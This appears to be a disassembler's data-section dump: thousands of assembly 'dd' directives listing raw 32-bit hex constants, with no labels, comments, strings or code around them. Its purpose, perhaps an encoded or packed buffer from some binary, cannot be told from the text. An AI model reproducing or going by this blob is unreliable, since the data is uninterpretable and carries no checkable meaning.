		dd 0F0D765F5h, 10446013h, 71CAD9ADh, 4C5A6098h,	0E2EBB404h
		dd 0B500D050h, 22C83C01h, 0CD0194D4h, 0DE2B2F2h, 888BFAF0h
		dd 0C02C55C2h, 0F0DA2B71h, 6E9461D8h, 0D5FEBE40h, 0F0065C50h
		dd 3FC2B701h, 2C67B888h, 949F16C0h, 0F6218490h,	23A60080h
		dd 0DAE183Ah, 89071FCh,	80706882h, 7370040Ch, 2A3880h
		dd 0FC3AC589h, 1D82167h, 47E32C09h, 4C3C817Ah, 0FED8F839h
		dd 790F0055h, 0B0C31307h, 0C09ED38Dh, 0CF7F2E41h, 0D848C2Ch
		dd 88E0B00Ah, 0C1997503h, 0CDE80C03h, 80020C4h,	765CB5A2h
		dd 0E845EB41h, 9F365080h, 0B76D0050h, 8AA0EF25h, 0D0967EDh
		dd 0F49DD65h, 13E4A880h, 50871376h, 0FF0F98B8h,	8878FD0Fh
		dd 0B31332E5h, 8825C8B9h, 18986CC4h, 1C135D76h,	171AB706h
		dd 1EEC0860h, 48E4B800h, 5C2C9807h, 0D120957h, 14003E72h
		dd 60ABED9Ch, 0AD038490h, 9DD6F56Ch, 2B6EB30Dh,	243490F0h
		dd 0AAA24208h, 94FB607h, 0EF65E10Eh, 0EE0EBC28h, 8F809FFBh
		dd 3C8CC2CBh, 0A7E71B25h, 565187D0h, 7ACE2C2Dh,	0F4A720D8h
		dd 0B9FA4E00h, 35AED701h, 5159026Eh, 0F9766422h, 9B06A478h
		dd 88D2EE7Dh, 38BB4F91h, 0C49C7D4Ch, 36ADA004h,	2C81F0D5h
		dd 4887E784h, 0ECAC0DA1h, 33EEC630h, 58DD71Dh, 7A2A81FCh
		dd 9D520D41h, 76B834h, 0D186CCE9h, 0CA7005CFh, 9686B60h
		dd 903EA110h, 39B5046Ch, 0D06A4B76h, 0FB1C0A1Ch, 877D7406h
		dd 64B22279h, 0A0F30210h, 0F0E5AECh, 1D9C785Bh,	4868464Ch
		dd 83309685h, 0BEF475BFh, 62ED500Ch, 1233C847h,	0C898CAEFh
		dd 72008FC0h, 0B8EE8595h, 0FA1901C2h, 47FD01F6h, 6FF5EA76h
		dd 957470D0h, 0C4B91528h, 0B5A09903h, 9468095Bh, 62FE40B5h
		dd 7638B0C0h, 13038E0h,	88B889BFh, 5B25350Bh, 8CAC837Dh
		dd 6AEAB81Dh, 3224C361h, 0D8357FFh, 47C25FD9h, 1FF1F3B5h
		dd 73D1E6Fh, 30EDC1Bh, 0C15AE52Dh, 109BDE50h, 0D0C13888h
		dd 2308032h, 0D9EC82FCh, 21780C48h, 5D708860h, 64A36919h
		dd 12808A24h, 3384BA52h, 0CCF279EBh, 0BE565A00h, 369D5080h
		dd 0BA030EAh, 3CB7062Eh, 21FD072h, 764C59C3h, 0D847CD8h
		dd 2D8A05EDh, 6AC982h, 0DF365269h, 559BFE69h, 0FF7F088Ch
		dd 43158F2Ah, 20EA571Bh, 8CCD3D31h, 0CD367FCh, 0D7FEF39Dh
		dd 0E78A6E00h, 7DE5B951h, 410400CDh, 3603E9C2h,	403A4A3Fh
		dd 577EFB46h, 0C71C02EAh, 5CA8459h, 5D18A188h, 780C23DEh
		dd 0F682076Bh, 0C0A831F1h, 2D8CF002h, 0D0C151A3h, 1DA9B82h
		dd 691C03A9h, 0E3F7BF1h, 0C1822D20h, 7EEA5823h,	0C40F8E4Ch
		dd 46C14F81h, 120454h, 30A879B9h, 59C602D4h, 3E038273h
		dd 2A735513h, 81EEC2D6h, 5EEB8A08h, 1F84CBE4h, 0FC3BAA14h
		dd 0B0337680h, 19F46928h, 0BC1D9FA6h, 2E0218AAh, 0A06340EAh
		dd 0C07B79D8h, 63B9F46Eh, 182D1447h, 0D8CED90h,	312E5EA6h
		dd 0C10FA7C4h, 0EA15EC67h, 65666DD3h, 54E3CC10h, 219BC50h
		dd 484BDB49h, 82CB408Dh, 90FC751h, 88188015h, 272B920h
		dd 0A0EFF0DFh, 63F2EA08h, 0AFCF2734h, 0C25798D8h, 147FEF48h
		dd 38FAFCDDh, 5B036569h, 713F9300h, 0A102477Ch,	846C69Bh
		dd 5B2EE1Eh, 32E812C5h,	57D32CE9h, 170CBF00h, 0C0587442h
		dd 514E1A6Bh, 93206E4Ch, 5BF88959h, 2563C5F2h, 0AF3D8C12h
		dd 4C558882h, 0E22135C7h, 34ED5099h, 9E908B94h,	6707A048h
		dd 0A08BB753h, 4ECDEA5Ch, 1CF0F7C0h, 0B0F927C6h, 416BD55Dh
		dd 38C70050h, 18246EC8h
		dd 839D2066h, 0B61C0008h, 53737241h, 3830EA56h,	6B55490h
		dd 0A95BF054h, 0C740589Fh, 7C671418h, 6556306Fh, 8F0C128h
		dd 0E5C88119h, 0ECF83006h, 0F71AB05h, 55585907h, 911644C4h
		dd 172FFCEDh, 0CD532FFEh, 2F2039D7h, 0CA3C8B2Ch, 0B112B957h
		dd 49A7A2D3h, 13A5C000h, 2A081A00h, 0F84460FCh,	9CEA24D4h
		dd 0EB848995h, 3D9ED908h, 8EAAC8A4h, 0C7E6C42Ah, 8203D6EDh
		dd 0B70CA5E7h, 99F7B02Fh, 2A130774h, 435FF28Ah,	0ECB25ACEh
		dd 5191D690h, 0E4EDE6A6h, 13C9923Fh, 544C991Dh,	517E2CF2h
		dd 9AC9B132h, 0CC820148h, 7D4AF09Dh, 3B840CC1h,	0F4F04C79h
		dd 81480006h, 9ECC23Ch,	0FD6035EAh, 2A5C5AAAh, 70B6F2D0h
		dd 1426E1E8h, 0D6FF317Bh, 0D8D2F716h, 789767CAh, 0FA093FA9h
		dd 28263D9Ah, 1AF9B302h, 6F8EBC00h, 376A72C2h, 0E78A08E4h
		dd 0EA800164h, 0BE12643Bh, 0B0449F0Fh, 0E65C4410h, 0BB65A097h
		dd 32601A90h, 0AA92FBD9h, 28E203Ah, 0F098D67Dh,	906CB02Ah
		dd 5A18A182h, 0FEFD0D17h, 28D0916Eh, 0F120DE09h, 641EA2F2h
		dd 0D288003Ch, 8C1D3F8h, 5BFFF282h, 602A2C0h, 20695AC9h
		dd 0DF6F3376h, 0A5E45BFh, 62562D5Fh, 0BF677841h, 0EBD33C3Ah
		dd 0E9B345F6h, 7D9306F4h, 0E902244Fh, 8F204DCBh, 0B2437134h
		dd 0D23A606h, 1AFD7C2Ch, 596BE9EAh, 0F4CD8B41h,	0B7DBA69h
		dd 8CDF2637h, 58A3A1D9h, 65FCE88Ah, 9E77B116h, 48A94052h
		dd 825A14AFh, 0B95DC21Eh, 5358EDC1h, 0D8C8CB8Ah, 69F9EA5Bh
		dd 3C984A60h, 1F9B59C8h, 9303BB09h, 583438BAh, 91A97528h
		dd 4C40417h, 8A81EF8Fh,	0A8F8B66h, 4573EC81h, 3034894Fh
		dd 781CE909h, 1CFF0ACDh, 806B45E0h, 0A90CEB80h,	3D478D68h
		dd 0B6241F14h, 37C341C1h, 955AE7E9h, 393C831Ah,	5046638Bh
		dd 0C51D3F48h, 942C8719h, 31449B33h, 1810B406h,	9157D319h
		dd 0C7FFD90Dh, 0B52A517Dh, 0F7664031h, 24508306h, 965AFFh
		dd 0DAEA814Ah, 7C1F4506h, 5717D001h, 0FC00E00h,	67BF6E2Fh
		dd 66E90BC2h, 20C15041h, 18FC2D7Fh, 4B0BB2EFh, 14D4B78Ch
		dd 92810Fh, 2999D1D4h, 0F2F259CAh, 0E1555A16h, 0B7BF7601h
		dd 869F5F6Eh, 8EC783DFh, 60AF04DEh, 7B5DC5C2h, 0FA012A09h
		dd 547F8DE9h, 709F3680h, 0CFBE2CD5h, 59D98803h,	0B3E9FE29h
		dd 5C240781h, 37240C89h, 24C195E1h, 870623D6h, 0B2E9221Ch
		dd 570197A8h, 93124F68h, 0D75F74h, 8B47678Eh, 0D73CE95Ch
		dd 4CBD26C0h, 0E7F0237h, 2479CD81h, 0F5C1066Eh,	40A612AEh
		dd 4533EDA5h, 294BE10Ah, 82093D5h, 0E9CD0106h, 6B4CED40h
		dd 6E0A828Bh, 37BE6226h, 75B9BF00h, 47463DE4h, 16072698h
		dd 24491C8Bh, 1B5A3E17h, 0DF198EF4h, 565810C9h,	34E67F89h
		dd 31F68206h, 9BFACA31h, 0C94F5D7Eh, 298E6A60h,	0D0E730E6h
		dd 5DBB33Bh, 0FCBA1603h, 378EF1B0h, 0F4473552h,	0EE8905D1h
		dd 38FFE08h, 28BB68ADh,	26792519h, 77D85D0Ah, 810CD052h
		dd 9DC58101h, 50025006h, 0D9CFE982h, 4CB950C0h,	482F357Ch
		dd 0D10E1809h, 341C1E2h, 0BD2565E9h, 0BE568044h, 31A536EFh
		dd 1C60083h, 0EEC1D6F7h, 40F08105h, 4C1FA21Fh, 8FE9F0C3h
		dd 53380409h, 8583EB88h, 1E1054DEh, 59CE1C7Ah, 0D5E99D5Bh
		dd 0EB058508h, 1DC406FFh, 0DF680E8h, 0DD01F7D6h, 0F5295B14h
		dd 5AD00F3h, 4E92E5Dh, 0F7BEC7F4h, 0E8EE73DAh, 0EEDD0E51h
		dd 23AF0E40h, 2901BEB0h, 0E908246Ch, 0FD23663Eh, 2DE8017Ch
		dd 57C73AB6h, 0B072205Dh, 43B42C01h, 3C7EE953h,	1ED96C25h
		dd 660BD55h, 747C52Dh, 0D8013942h, 24EAB6E9h, 7E1C003h
		dd 0D90FF180h, 0DC2427ACh, 54DE4CB5h, 59075F20h, 56E78957h
		dd 965080A5h, 733C07B1h, 0F7E06039h, 7AFE015Eh,	50243C8Bh
		dd 0C6E9E084h, 0E20292E7h, 3293D842h, 20597E48h, 0E900FF14h
		dd 79A94771h, 49C42305h, 0BA5201B7h, 6B0D6FC1h,	2E318040h
		dd 0E9380A49h, 80E02C64h, 0B96082BBh, 5DEE555Eh, 64EA8924h
		dd 429DA4ABh, 4BD8E2C1h, 3A3028C0h, 752B0D13h, 41236847h
		dd 32728550h, 48BE9D0Bh, 0A3E3C996h, 7E348BD0h,	4524DF8h
		dd 0C9CFFE1Dh, 922862A8h, 5401041Ah, 59CF8024h,	1A02B850h
		dd 0E922B638h, 0ADB7A75Dh, 0CD934364h, 0D589D05Bh, 0E8210A5Ah
		dd 67642C8Bh, 310BB3C1h, 481D68A0h, 307597CFh, 58C52107h
		dd 2437934Dh, 89661213h, 0D00BFA46h, 885C26A8h,	1DE10D06h
		dd 0DBBAA23Fh, 43E52AD0h, 0B45534C6h, 5D83071Dh, 0A3E80158h
		dd 312E3733h, 54186B06h, 6816E1F7h, 31313887h, 34309C50h
		dd 0BC7399CFh, 523A9E10h, 0BEA940C0h, 9D39CC02h, 81742920h
		dd 0ADE95E9Ch, 0EC313B94h, 5C063331h, 0DEF1F7F7h, 456BA826h
		dd 0DCBF53h, 7747D8C3h,	6822E920h, 4FABE5F8h, 8C726C45h
		dd 0EBB358D3h, 408885A4h, 3EEA818Bh, 31786075h,	0B891803Ch
		dd 1A850482h, 0B7E692Dh, 345138Fh, 619FC78Dh, 800BD8E9h
		dd 17CCC145h, 52942E1h,	0F80159CFh, 13C755Fh, 2010517Dh
		dd 967A8734h, 0E9272E57h, 77280EE5h, 0C9FB6101h, 556396E9h
		dd 40DA1EDEh, 0BD0B7C7Bh, 7706262Ah, 5A93E91Bh,	53C70393h
		dd 29312F75h, 3EF85B7h,	126EE908h, 0CEC62724h, 5074656Ch
		dd 398081DDh, 76F9A4E1h, 81C9095Ch, 3086D9F6h, 245D888h
		dd 70B44448h, 0E17842h,	52292C58h, 0DAF630B2h, 0EAF28001h
		dd 15E9D028h, 13BA6F34h, 0FCB0190h, 7B86D339h, 0F0A51884h
		dd 0CB2822ABh, 0BD0D3E33h, 68D0A8F7h, 0C9DEF7E5h, 360019Bh
		dd 884C405Eh, 0BAFEFDB8h, 0EF357167h, 356B7CA1h, 1441E7D8h
		dd 9712EB2Dh, 8B04CB0Ah, 5F7D0AC5h, 0FCBB60D9h,	0F4F5E130h
		dd 0D6928AA2h, 13FE558h, 0E77DA0F5h, 6FE89FDh, 0DD588731h
		dd 418C017Dh, 525B693Dh, 0E90D1C33h, 5D9058A5h,	83B24210h
		dd 5F4FA68Fh, 0B819C7CAh, 0C6074B22h, 9EFDA2B2h, 986D17B2h
		dd 0B054519Bh, 7A37336Dh, 102ACCFFh, 32FDF7FDh,	881CDC5h
		dd 32E6BE60h, 550E0113h, 576C884h, 1A166852h, 0F5CA4304h
		dd 17530F85h, 88D9521Eh, 52620485h, 5DA12C28h, 33564FF0h
		dd 2EE2876h, 106F206Bh,	0E058A7A1h, 10CE1FD0h, 0B3CDBF29h
		dd 3B31854Ah, 9D276FDh,	0F9B9E8A0h, 8A98141Bh, 18CC4955h
		dd 0CC9839Ah, 31A70633h, 0A60DD006h, 44BF4229h,	0D7D8654h
		dd 98CB293Bh, 0C3276FEAh, 925105D7h, 98DA8915h,	0D37829C6h
		dd 0CC591449h, 5040DC8Fh, 996695CDh, 5585088Bh,	5E7C000h
		dd 313AC780h, 5653F830h, 4E893054h, 0A50F49D6h,	3328B0CEh
		dd 6316CB7h, 68135C0Dh,	6961197Eh, 1024357h, 0A5C1A7E2h
		dd 0D6886002h, 0C614A9E0h, 1AE25F52h, 68A973A7h, 9387C520h
		dd 0D06D3DB5h, 8169051Ch, 2486E9C3h, 0B11E51D2h, 75EC0A0h
		dd 0A7DB2DC9h, 6892E1C0h, 2EB9516Eh, 0C2E5CA56h, 0DC68B1E9h
		dd 0FE035AB5h, 0C0D5F6CDh, 0B85419E5h, 704D460Ch, 4F1F7FBEh
		dd 0C718359Ch, 35EA8783h, 9608D5F7h, 5512633Eh,	0BD145D54h
		dd 447BC59Dh, 205C7746h, 205B9808h, 6813CC6Fh, 0BE370B86h
		dd 94BBFD2h, 5FFAC330h,	0F2D0C996h, 97B38070h, 45CC74E1h
		dd 4BAC9B92h, 5C628767h, 52A280FBh, 967F55E9h, 47E896A6h
		dd 0D2DFF63Fh, 0CD6C28A6h, 3F659626h, 0D04EB8Bh, 0B0406373h
		dd 0E844CAh, 0C4BD5510h, 311A6D30h, 0F687EE50h,	947A3B09h
		dd 5E8F847Bh, 61515992h, 5300728Ch, 291B6D68h, 0BA884FC9h
		dd 0D3EE6859h, 0D897A824h
		dd 9D5881CBh, 2C145C91h, 0C1388681h, 0BEC54426h, 45DBA00h
		dd 81DEF70Eh, 79DB09E6h, 1803CF2h, 0E114FC52h, 5EF32919h
		dd 17221C52h, 50C5CA92h, 0F3647DD2h, 0A9C05E60h, 77E283Fh
		dd 5ABF5778h, 0C04F4477h, 0CA1C0AF2h, 0FA21DB02h, 90898BE9h
		dd 81D376B1h, 2D0D6001h, 4540690Eh, 2507B31Eh, 5EA11742h
		dd 4AFAA204h, 50A04258h, 0CB4B99E2h, 75083822h,	41452E2Ah
		dd 910A8452h, 2982E4C8h, 663C8BFDh, 5DEB131Fh, 10311459h
		dd 0FC285D0h, 0EB64C8B7h, 52DAFF31h, 67F4BB53h,	81410072h
		dd 9F61EFEBh, 0E33CC140h, 0B2F38004h, 0E96B4809h, 19534972h
		dd 158EF2Ch, 0F51420C7h, 540C802Bh, 0F73E0B26h,	0C210DDD7h
		dd 16C375Eh, 0A7525484h, 5D0642F8h, 5B364EFBh, 0A3E913BBh
		dd 684E3012h, 54811D93h, 3022C421h, 0D0705096h,	1BD92010h
		dd 0A5B7665Eh, 62BCE91Ch, 0E028120Bh, 2EE9F93Ah, 81880692h
		dd 0EE1367BDh, 5E193031h, 585D4339h, 656003D1h,	985018B8h
		dd 0E4EC4E8Fh, 544EE9h,	51E02D8Dh, 4FF4401Dh, 0A6237658h
		dd 88269172h, 68062C6Eh, 370B73F9h, 0B71F5F1Bh,	0D9130E80h
		dd 17FD1EEh, 0F650CB21h, 48B922BDh, 5C0085C0h, 29268540h
		dd 0E128E9DEh, 0BA003B27h, 1D92F21h, 5008247Ch,	5815905Fh
		dd 66982BCAh, 1358BA68h, 0E554C98Bh, 0CE82635h,	0F5B1342Bh
		dd 21187E55h, 8C2944DBh, 0E914D974h, 8885158Ch,	9F688E02h
		dd 0FF933213h, 15AAE350h, 2C1E7FC1h, 0C00B9EFAh, 0F9159BC9h
		dd 0A324E4F6h, 95891FC5h, 0EB3EFA0Ah, 8D503296h, 0E2E8108Dh
		dd 5401A32Ch, 179BCD81h, 66BF4487h, 7703FF40h, 59669D1Ch
		dd 0BB93ACD2h, 81750386h, 0C44D7EE3h, 0E0B5B4FFh, 21775C91h
		dd 5D673692h, 0A93C16Fh, 7176B53h, 97586532h, 8F88C6B3h
		dd 0A9CE8148h, 80762A3Ch, 3B6163B2h, 6BEDC118h,	12800603h
		dd 8174AADh, 73C8214Dh,	0E30C71Eh, 9BE4565Dh, 9C545700h
		dd 4C63E97Dh, 0DDE3086h, 0EC102A5Fh, 0C50080E5h, 0F6516629h
		dd 0B9012454h, 0AC53232Eh, 0E902027Fh, 0F27229E3h, 0EB62210Fh
		dd 0E37A6926h, 4A4207Eh, 0B12E8A03h, 808B050Dh,	0FCE93D62h
		dd 0A43FB931h, 0F0F30A65h, 0C6E92CB0h, 0F38A0C83h, 5F687AA1h
		dd 4BE90162h, 18BE2994h, 62928A60h, 0E9107617h,	520E40FCh
		dd 381769B2h, 0EB2E80A8h, 4E10DC1Eh, 13F58815h,	6FA604D3h
		dd 0C1290255h, 5C42E958h, 73421F65h, 0DE2B2F01h, 0F021E4B0h
		dd 22BCE913h, 39516D88h, 0EE0EFD88h, 0F7C25359h, 87D882E9h
		dd 0AB3168F2h, 0DEEDE52Eh, 6C38B50h, 0FDC3D70h,	8C5D31BAh
		dd 1253E51Eh, 0BB5CC2D3h, 75BA59A0h, 4C5C9D2Bh,	77B610B0h
		dd 0D811B51Dh, 0E8C10F7Eh, 0C8310C1Ch, 0C61FF09Dh, 20391B8Bh
		dd 8FC18169h, 0AF40F4Ch, 0E81FF901h, 31FF2708h,	81508125h
		dd 10E8769Fh, 0FCC592Dh, 0C20121DEh, 2EA2F9ABh,	0EB404481h
		dd 0F3E5C53h, 0EEAD37h,	5AD5085Fh, 7CFFB852h, 3BDA315Eh
		dd 0ECA2EB33h, 0EEA048CDh, 182C0BC7h, 0E10ECA7Ch, 0C1FE5870h
		dd 0AC7ACCE6h, 0DEB6390Eh, 12370500h, 39319625h, 0D1BF58C2h
		dd 20133697h, 6101E39Dh, 0AF297C28h, 49621506h,	0B1A4331h
		dd 68FA57A3h, 38957A03h, 0ECCB30EAh, 972D0602h,	6110F17Bh
		dd 100524ACh, 0C99EFA1Bh, 4E380EFAh, 5E2BF701h,	14250956h
		dd 5775A923h, 2B11469Bh, 5140F0B4h, 1CC4AB98h, 0FE07508Ah
		dd 0D64EF5CBh, 0A598810Ah, 0B3C2C09h, 0CE716856h, 0C987825Fh
		dd 63ACF013h, 50FAEA21h, 973EBC96h, 0C4827BF1h,	5529C101h
		dd 10F160FAh, 0FA898082h, 5A325F78h, 40C8990Bh,	114AB35h
		dd 0EAC16C3Ah, 0C8DAF702h, 6EE81D2h, 0A37F3F17h, 180506C0h
		dd 496C2471h, 34862473h, 0C521F256h, 0A40CE883h, 7FF711ACh
		dd 6D1509D8h, 2F42h, 708046CDh,	254F9DB0h, 4150C932h, 5D8232D7h
		dd 1F2868D7h, 0B2D32FC6h, 4A20CD25h, 5A4A2EB2h,	14BC5F3Bh
		dd 5A800C6Ch, 0FC13E958h, 350595A2h, 4F0DF751h,	71DD4B60h
		dd 37C8CF50h, 3376D5B7h, 91EACD00h, 66077AD0h, 0E3B7535Ah
		dd 0B2AEC25Ch, 0D231266Ah, 36540940h, 8025ECC5h, 0DF57BA57h
		dd 19E92C41h, 1355AC48h, 67E80952h, 1202C586h, 4CFA8201h
		dd 4411E92Ah, 0DD7D638h, 0AD96BD37h, 0E6241218h, 28F4A047h
		dd 0C28080D8h, 1E312CB8h, 0BAEE73FEh, 0B87A9A60h, 22354B78h
		dd 62C05CD6h, 447D6FC9h, 5DE83102h, 681AD168h, 0BE5BA073h
		dd 9C0FE94Ch, 0D74E3409h, 15D9B3A2h, 2CE90C4Ch,	97C7E3F5h
		dd 4F572651h, 0D7B0D28Ch, 207EA700h, 3FEC0D26h,	2D690ECBh
		dd 6F4C7FEBh, 112C402Ch, 0AF24B275h, 6160904h, 0C9B48485h
		dd 0A070C5EEh, 3C19C80Eh, 0ABAA25F0h, 665CE7B0h, 24DE29F1h
		dd 0CE40DB17h, 265FF680h, 0CF1EF328h, 80A9C365h, 0A1E9C04Ch
		dd 0A672EE6Eh, 0BE0AC546h, 4CF50863h, 9A08422Ch, 678FA2C6h
		dd 15685154h, 40C8DD4Ah, 73405C7Eh, 0F2814E0Fh,	806F2B93h
		dd 4BC8C216h, 0DC274847h, 635E017Ch, 5AD1013Fh,	0F49F4583h
		dd 0C0941175h, 9B395E32h, 0C4F4E9CBh, 3CD0624h,	6B9671BAh
		dd 0E5C0DDF7h, 0FA482422h, 68A1521h, 31DC30FCh,	138719B8h
		dd 1229E5B2h, 0CC171FD6h, 0B9287C74h, 7F514F17h, 6DA71C04h
		dd 8AE0F16h, 2FC92A1Dh,	7A143C8Bh, 96E0E58h, 9B672568h
		dd 29C97B35h, 0AC8F5C9Eh, 815D3418h, 20B0272Fh,	0FB4C010Eh
		dd 85C22579h, 88CB591Eh, 0C1C5E159h, 0B12B403Eh, 0AB05097h
		dd 47F155ECh, 226466EAh, 62295C5Ah, 79882D45h, 0B04DA05Ch
		dd 76BB8048h, 98A1714h,	7F7030A3h, 3B5E14F3h, 0CB0055B4h
		dd 641F10EAh, 5602DBF7h, 2015B768h, 0E6ACC00Dh,	0D869C083h
		dd 0B3535B66h, 0D30EDE6Eh, 0A2596A4Ah, 82C64ECBh, 605240F3h
		dd 0E9F419B2h, 0FE5FED51h, 4DBA3760h, 21263876h, 0B53D68D1h
		dd 0A3000AF7h, 0BC687B72h, 12199352h, 5E54B0CEh, 43DA0124h
		dd 76495B1Fh, 252B5A71h, 3F6E394Dh, 0B054572Dh,	0FFEF8363h
		dd 0E90D813Ch, 2C291041h, 0D3F71A7Ah, 3914960Bh, 0C15CFE31h
		dd 61EC5D79h, 0C2F68101h, 2A174807h, 7D025B53h,	462BDB68h
		dd 21B80425h, 8726BA27h, 7E25298Bh, 58E5E4EFh, 0B6E6825h
		dd 5B150475h, 8D93540Eh, 23D202CCh, 0BE004679h,	3AAF6BE2h
		dd 0E7BB1253h, 0E94D033Fh, 41516AFDh, 9F9E6843h, 19DDCD4Bh
		dd 0DD3266FFh, 51021E77h, 0E6684757h, 1CECDB4Ch, 4678E924h
		dd 38620381h, 3D29D068h, 0A3955437h, 15194DDCh,	0C6E5D685h
		dd 60A00AF0h, 239B0C6Eh, 5B0C45D4h, 24F932E9h, 44C75F29h
		dd 50FC52Eh, 0D2C18C04h, 66002C11h, 98C73C05h, 44C2C301h
		dd 13D75918h, 10218E51h, 0BA016069h, 15704CE5h,	12F7131h
		dd 82537E37h, 43E6815Fh, 3D4F440Ah, 29911246h, 0CE8104D6h
		dd 548727B8h, 9F60CA8h,	4F4A70EAh, 4996A440h, 62BB6846h
		dd 61E90B9Ah, 88FE1E69h, 181D57B8h, 0E4C0585Bh,	555E037Bh
		dd 0F9870601h, 8BDD7F7h, 7268E095h, 3B8BB567h, 74A0013h
		dd 2D318E91h, 0E7802E8Eh, 2EFC0E3h, 9226A4DFh, 1E90F55Eh
		dd 3200C581h, 96AFBC1h,	0BA75E9E8h, 1EC1907Dh, 585B74D6h
		dd 0EBF5284Dh, 408BFE25h, 6067E9CCh, 0C4C32B25h, 13487D0Fh
		dd 5110619Ch, 9DC7FA0h,	5E90DDh, 0FE0BDBEDh, 5DE9012Ch
		dd 149199B0h, 5A0D3313h, 0D9DA0631h, 508F90D5h,	0F7B4C184h
		dd 0ECE5811Dh, 0E6299A4h, 2C2551BAh, 0B17D847Dh, 17E778FFh
		dd 0ADC7459h
		dd 11D82668h, 4B066FBBh, 39B6103Dh, 49AE6870h, 0BC81E450h
		dd 203F3E0Dh, 7F418C4Fh, 0D2A1C668h, 7FE4643Ch,	1DADC5D4h
		dd 4B311548h, 0A2FCD888h, 17D6B1D5h, 5638015Fh,	613A4C12h
		dd 1D222A70h, 0ABE910C4h, 0B8016B92h, 39DF1402h, 0E2C8ED0Dh
		dd 0B42D0E7Ch, 89862FCEh, 0C2013AC6h, 2AE92CD2h, 0D961F201h
		dd 405E0802h, 2C6E3B99h, 20034C80h, 18572E1h, 0DA295D1Bh
		dd 764088E9h, 20964CFFh, 0E8F8E40Ah, 6808C2C7h,	5EF134F7h
		dd 7110D9Bh, 0FA5D980h,	0EC30B636h, 892F55E4h, 88911AE5h
		dd 406BF015h, 0C5C8A868h, 9D5F72Eh, 3BABD20Ah, 2DEAD914h
		dd 512A1D1Dh, 5A09AE8h,	581476B7h, 907BE56h, 0E65EF031h
		dd 535904B3h, 0AD57E389h, 835F8476h, 6D0BCC4h, 25E9525Ch
		dd 5B4C7F0Ch, 0AD08E79Bh, 52D3A44h, 0EA6BDEAFh,	0EE296240h
		dd 7E695048h, 0A502F1DEh, 415AD955h, 0C0046BF5h, 1D94EAAAh
		dd 743E722Ch, 0E90D0848h, 0B9393F9Ch, 3967680Bh, 3D5D4ECCh
		dd 6E5C25E5h, 6479FCE2h, 0EDEA7F02h, 89597B76h,	94582D37h
		dd 0EF18FEB5h, 4ED75124h, 5C42285Ah, 2032615Ch,	25B18276h
		dd 9E9D5EADh, 40657F20h, 14955F29h, 121EC892h, 9DC58001h
		dd 0CF41E828h, 0EFE467B7h, 64149701h, 0FD6C8639h, 6D5F628h
		dd 0E7C05B0Fh, 81DF4F08h, 0EE8852D7h, 0F700A33Ch, 0FEF5865Ah
		dd 0AA5CE9C6h, 20C589F6h, 0C9558014h, 0F3290961h, 0D6A0CFE9h
		dd 3E3881BBh, 0EBD14A12h, 45D9200h, 5C2914CBh, 5A8B88D9h
		dd 0F688FCE5h, 0D6010969h, 1BD2B643h, 9025DE74h, 62236862h
		dd 0C83334Ch, 2E1C100h,	1F34E681h, 7F131E61h, 8D16A3CCh
		dd 0CB9C40CDh, 80DEB81h, 6236AB24h, 855AFA03h, 9315F447h
		dd 0BF3AE982h, 87B1A76Bh, 73040531h, 0E3123302h, 7F63497Fh
		dd 664AEBB8h, 3BD62F44h, 129E20A8h, 33BBA07Ah, 0D2402C6Ah
		dd 2F465D88h, 5C585494h, 6C8B84BDh, 6E09416h, 52FD260Ch
		dd 2D00FD94h, 0F3E2802Ah, 55D2A029h, 24C1F65Ah,	36203EAh
		dd 2ACC072h, 89537454h,	0C35D7FB0h, 0D680223h, 0E563A76Ch
		dd 1BFACE7h, 3F794931h,	0FC06D9C1h, 4118BCF7h, 0DF0C573Eh
		dd 7C503F01h, 1E07E792h, 18CF4459h, 5BF7824Ch, 0CA052F0Ah
		dd 0F60AD2F6h, 0A1688F1Ch, 0E8D10892h, 79BB4D3Dh, 0C9DACC05h
		dd 44A109A8h, 3FF1E933h, 765A0259h, 5D0409DEh, 0E9042C59h
		dd 0EFE3712Bh, 0B10642C3h, 59CD31B0h, 6CFD8B2h,	1A02AD2Dh
		dd 802E8B30h, 0CC0BC380h, 2F6E3D0h, 506997h, 0A86471BAh
		dd 0F7F245Ch, 0E9CE015Ah, 95447023h, 0CDE1A333h, 0E882A416h
		dd 3DF1E953h, 6A3B6800h, 0B70753A4h, 0E913F43Ch, 0AE982A25h
		dd 3F613D72h, 64C12916h, 7ABE82DBh, 8A4CAA0Fh, 4F7D5911h
		dd 5BFDC29Fh, 0A3FE8996h, 97EA084Ch, 0AF3D7BCDh, 0A85EF384h
		dd 5657C37Ah, 7AEB82E9h, 0D75CBA58h, 0EA68500Ch, 0EBF64022h
		dd 798CC21Eh, 0F94BD3D6h, 0B6F10228h, 0B45001C9h, 58E5E8AEh
		dd 5C320438h, 536010BBh, 5A69BF07h, 460AD92Bh, 96C701FCh
		dd 0DB168048h, 196A08C8h, 4814275Dh, 1A5A2727h,	53CE5607h
		dd 0BD28CB50h, 66969997h, 70B79E34h, 0E9F8155Fh, 124EE4Bh
		dd 0CC584438h, 0ACAE534Eh, 5500FF9Ch, 0E963D039h, 303DF34Eh
		dd 1D400F25h, 38FAD5B9h, 87B47150h, 4A0F4472h, 86D6F74Eh
		dd 3C5B0C96h, 4C1230B3h, 5C59A723h, 0BA52C0ECh,	9C313A5h
		dd 0DD97E969h, 68846979h, 15E243B0h, 0B3194D52h, 42CF9BEh
		dd 1C334ECh, 0E9BC8BC3h, 8608D2F2h, 0D9E90D87h,	28FBE119h
		dd 810374CAh, 0A6074ACBh, 93F3B012h, 40FA272Fh,	0EB6C82E0h
		dd 56D95E81h, 6355153Fh, 0FDA92EC9h, 0A65B7B11h, 371ACDF5h
		dd 414C549Bh, 702966DEh, 0EC419B9Ch, 4EBB370h, 2A90CC14h
		dd 0B1B01289h, 123E5BE9h, 8495A73Ah, 49B062E9h,	2C8A2E68h
		dd 31CE691Fh, 0B6F9E92Ah, 0FE879695h, 71D06127h, 476173F5h
		dd 0A011B5FEh, 0B025EE8h, 7B840FC0h, 54F8A220h,	8322995Bh
		dd 0BE0A00EBh, 5DC047BFh, 3F49A368h, 7D1F8236h,	0A11860BBh
		dd 0BEA3B416h, 478F518Bh, 3068E283h, 3A2453CEh,	7052274Ah
		dd 99681303h, 44386426h, 9628D44h, 511A845Bh, 0CC801312h
		dd 0E605C1B8h, 54B6808h, 7B8C2356h, 126C1FBDh, 4EB8026Ah
		dd 0C06AC596h, 0A9E5FA63h, 2A170129h, 0DD09302Fh, 81C9646Ch
		dd 0A826EC56h, 5DEB8905h, 0FBE930D3h, 58A91671h, 0E37449BBh
		dd 68930DE6h, 88D22910h, 3D0FF93h, 7E165AD1h, 0F7083103h
